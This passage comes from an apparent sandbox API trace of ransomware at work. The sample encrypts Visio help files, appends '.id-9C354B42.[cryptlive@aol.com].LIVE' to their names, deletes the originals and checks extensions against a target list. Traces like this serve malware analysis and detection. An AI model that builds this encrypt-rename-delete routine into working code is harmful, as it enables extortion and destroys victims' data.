lpNumberOfBytesRead=0x300fed4*=0xd1, lpOverlapped=0x0) returned 1 [0146.919] WriteFile (in: hFile=0x394, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0146.920] ReadFile (in: hFile=0x38c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.920] WriteFile (in: hFile=0x394, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0146.920] SetEndOfFile (hFile=0x394) returned 1 [0146.920] CloseHandle (hObject=0x394) returned 1 [0146.920] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.920] SetEndOfFile (hFile=0x38c) returned 1 [0146.922] CloseHandle (hObject=0x38c) returned 1 [0146.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt")) returned 1 [0146.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0146.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0146.923] lstrlenW (lpString=".doc") returned 4 [0146.923] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0146.923] lstrlenW (lpString=".docx") returned 5 [0146.923] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0146.923] lstrlenW (lpString=".pdf") returned 4 [0146.924] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0146.924] lstrlenW (lpString=".xls") returned 4 [0146.924] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0146.924] lstrlenW (lpString=".xlsx") returned 5 [0146.924] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0146.924] lstrlenW (lpString=".ppt") returned 4 [0146.924] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0146.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0146.924] lstrlenW (lpString=".zip") returned 4 [0146.924] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0146.924] lstrlenW (lpString=".rar") returned 4 [0146.924] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0146.924] lstrlenW (lpString=".bz2") returned 4 [0146.924] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0146.924] lstrlenW (lpString=".7z") returned 3 [0146.924] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0146.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0146.924] lstrlenW (lpString=".dbf") returned 4 [0146.924] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0146.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0146.924] lstrlenW (lpString=".1cd") returned 4 [0146.924] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0146.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0146.924] lstrlenW (lpString=".jpg") returned 4 [0146.924] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0146.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0146.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0146.924] lstrlenW (lpString=".doc") returned 4 [0146.924] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0146.924] lstrlenW (lpString=".docx") returned 5 [0146.924] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0146.924] lstrlenW (lpString=".pdf") returned 4 [0146.924] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0146.924] lstrlenW (lpString=".xls") returned 4 [0146.924] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0146.924] lstrlenW (lpString=".xlsx") returned 5 [0146.925] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0146.925] lstrlenW (lpString=".ppt") returned 4 [0146.925] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0146.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0146.925] lstrlenW (lpString=".zip") returned 4 [0146.925] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0146.925] lstrlenW (lpString=".rar") returned 4 [0146.925] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0146.925] lstrlenW (lpString=".bz2") returned 4 [0146.925] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0146.925] lstrlenW (lpString=".7z") returned 3 [0146.925] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0146.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0146.925] lstrlenW (lpString=".dbf") returned 4 [0146.925] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0146.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0146.925] lstrlenW (lpString=".1cd") returned 4 [0146.925] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0146.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0146.925] lstrlenW (lpString=".jpg") returned 4 [0146.925] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0146.925] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0146.925] lstrlenW (lpString="VISIO_K_COL.HXK") returned 15 [0146.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.926] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=113) returned 1 [0146.926] CloseHandle (hObject=0x38c) returned 1 [0146.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk")) returned 0x20 [0146.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.926] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.926] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0146.927] GetLastError () returned 0x0 [0146.927] ReadFile (in: hFile=0x38c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x71, lpOverlapped=0x0) returned 1 [0146.928] WriteFile (in: hFile=0x394, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x80, lpOverlapped=0x0) returned 1 [0146.929] ReadFile (in: hFile=0x38c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.929] WriteFile (in: hFile=0x394, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0146.929] SetEndOfFile (hFile=0x394) returned 1 [0146.929] CloseHandle (hObject=0x394) returned 1 [0146.929] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.929] SetEndOfFile (hFile=0x38c) returned 1 [0146.932] CloseHandle (hObject=0x38c) returned 1 [0146.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.932] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk")) returned 1 [0146.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0146.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0146.933] lstrlenW (lpString=".doc") returned 4 [0146.933] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0146.933] lstrlenW (lpString=".docx") returned 5 [0146.933] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0146.933] lstrlenW (lpString=".pdf") returned 4 [0146.933] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0146.933] lstrlenW (lpString=".xls") returned 4 [0146.933] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0146.933] lstrlenW (lpString=".xlsx") returned 5 [0146.933] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0146.933] lstrlenW (lpString=".ppt") returned 4 [0146.933] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0146.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0146.933] lstrlenW (lpString=".zip") returned 4 [0146.933] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0146.933] lstrlenW (lpString=".rar") returned 4 [0146.933] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0146.933] lstrlenW (lpString=".bz2") returned 4 [0146.933] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0146.933] lstrlenW (lpString=".7z") returned 3 [0146.933] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0146.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0146.933] lstrlenW (lpString=".dbf") returned 4 [0146.933] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0146.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0146.933] lstrlenW (lpString=".1cd") returned 4 [0146.933] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0146.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0146.933] lstrlenW (lpString=".jpg") returned 4 [0146.933] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0146.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0146.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0146.934] lstrlenW (lpString=".doc") returned 4 [0146.934] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0146.934] lstrlenW (lpString=".docx") returned 5 [0146.934] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0146.934] lstrlenW (lpString=".pdf") returned 4 [0146.934] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0146.934] lstrlenW (lpString=".xls") returned 4 [0146.934] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0146.934] lstrlenW (lpString=".xlsx") returned 5 [0146.934] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0146.934] lstrlenW (lpString=".ppt") returned 4 [0146.934] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0146.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0146.934] lstrlenW (lpString=".zip") returned 4 [0146.934] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0146.934] lstrlenW (lpString=".rar") returned 4 [0146.934] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0146.934] lstrlenW (lpString=".bz2") returned 4 [0146.934] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0146.934] lstrlenW (lpString=".7z") returned 3 [0146.934] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0146.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0146.934] lstrlenW (lpString=".dbf") returned 4 [0146.934] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0146.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0146.934] lstrlenW (lpString=".1cd") returned 4 [0146.934] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0146.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0146.934] lstrlenW (lpString=".jpg") returned 4 [0146.934] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0146.935] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0146.935] lstrlenW (lpString="VISIO_PRM.HXS") returned 13 [0146.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.935] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2287488) returned 1 [0146.935] CloseHandle (hObject=0x38c) returned 1 [0146.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs")) returned 0x20 [0146.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.935] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0146.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0146.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0146.936] lstrlenW (lpString=".doc") returned 4 [0146.936] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0146.936] lstrlenW (lpString=".docx") returned 5 [0146.936] lstrcmpiW (lpString1=".docx", lpString2="M.HXS") returned -1 [0146.936] lstrlenW (lpString=".pdf") returned 4 [0146.936] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0146.936] lstrlenW (lpString=".xls") returned 4 [0146.936] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0146.936] lstrlenW (lpString=".xlsx") returned 5 [0146.936] lstrcmpiW (lpString1=".xlsx", lpString2="M.HXS") returned -1 [0146.936] lstrlenW (lpString=".ppt") returned 4 [0146.936] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0146.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0146.936] lstrlenW (lpString=".zip") returned 4 [0146.936] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0146.936] lstrlenW (lpString=".rar") returned 4 [0146.936] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0146.936] lstrlenW (lpString=".bz2") returned 4 [0146.936] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0146.936] lstrlenW (lpString=".7z") returned 3 [0146.936] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0146.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0146.936] lstrlenW (lpString=".dbf") returned 4 [0146.936] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0146.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0146.936] lstrlenW (lpString=".1cd") returned 4 [0146.936] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0146.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0146.936] lstrlenW (lpString=".jpg") returned 4 [0146.936] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0146.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0146.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0146.936] lstrlenW (lpString=".doc") returned 4 [0146.937] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0146.937] lstrlenW (lpString=".docx") returned 5 [0146.937] lstrcmpiW (lpString1=".docx", lpString2="M.HXS") returned -1 [0146.937] lstrlenW (lpString=".pdf") returned 4 [0146.937] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0146.937] lstrlenW (lpString=".xls") returned 4 [0146.937] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0146.937] lstrlenW (lpString=".xlsx") returned 5 [0146.937] lstrcmpiW (lpString1=".xlsx", lpString2="M.HXS") returned -1 [0146.937] lstrlenW (lpString=".ppt") returned 4 [0146.937] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0146.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0146.937] lstrlenW (lpString=".zip") returned 4 [0146.937] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0146.937] lstrlenW (lpString=".rar") returned 4 [0146.937] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0146.937] lstrlenW (lpString=".bz2") returned 4 [0146.937] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0146.937] lstrlenW (lpString=".7z") returned 3 [0146.937] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0146.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0146.937] lstrlenW (lpString=".dbf") returned 4 [0146.937] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0146.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0146.937] lstrlenW (lpString=".1cd") returned 4 [0146.937] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0146.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0146.937] lstrlenW (lpString=".jpg") returned 4 [0146.937] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0146.937] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0146.937] lstrlenW (lpString="VISIO_PRM_COL.HXC") returned 17 [0146.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.938] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=641) returned 1 [0146.938] CloseHandle (hObject=0x38c) returned 1 [0146.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc")) returned 0x20 [0146.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.938] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.938] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0146.939] GetLastError () returned 0x0 [0146.939] ReadFile (in: hFile=0x38c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x281, lpOverlapped=0x0) returned 1 [0146.942] WriteFile (in: hFile=0x394, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x290, lpOverlapped=0x0) returned 1 [0146.943] ReadFile (in: hFile=0x38c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.943] WriteFile (in: hFile=0x394, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0146.943] SetEndOfFile (hFile=0x394) returned 1 [0146.943] CloseHandle (hObject=0x394) returned 1 [0146.944] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.944] SetEndOfFile (hFile=0x38c) returned 1 [0146.946] CloseHandle (hObject=0x38c) returned 1 [0146.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.946] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc")) returned 1 [0146.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0146.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0146.948] lstrlenW (lpString=".doc") returned 4 [0146.948] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0146.948] lstrlenW (lpString=".docx") returned 5 [0146.948] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0146.948] lstrlenW (lpString=".pdf") returned 4 [0146.948] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0146.948] lstrlenW (lpString=".xls") returned 4 [0146.948] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0146.948] lstrlenW (lpString=".xlsx") returned 5 [0146.948] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0146.948] lstrlenW (lpString=".ppt") returned 4 [0146.948] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0146.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0146.948] lstrlenW (lpString=".zip") returned 4 [0146.948] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0146.948] lstrlenW (lpString=".rar") returned 4 [0146.948] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0146.948] lstrlenW (lpString=".bz2") returned 4 [0146.948] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0146.948] lstrlenW (lpString=".7z") returned 3 [0146.948] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0146.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0146.948] lstrlenW (lpString=".dbf") returned 4 [0146.948] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0146.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0146.949] lstrlenW (lpString=".1cd") returned 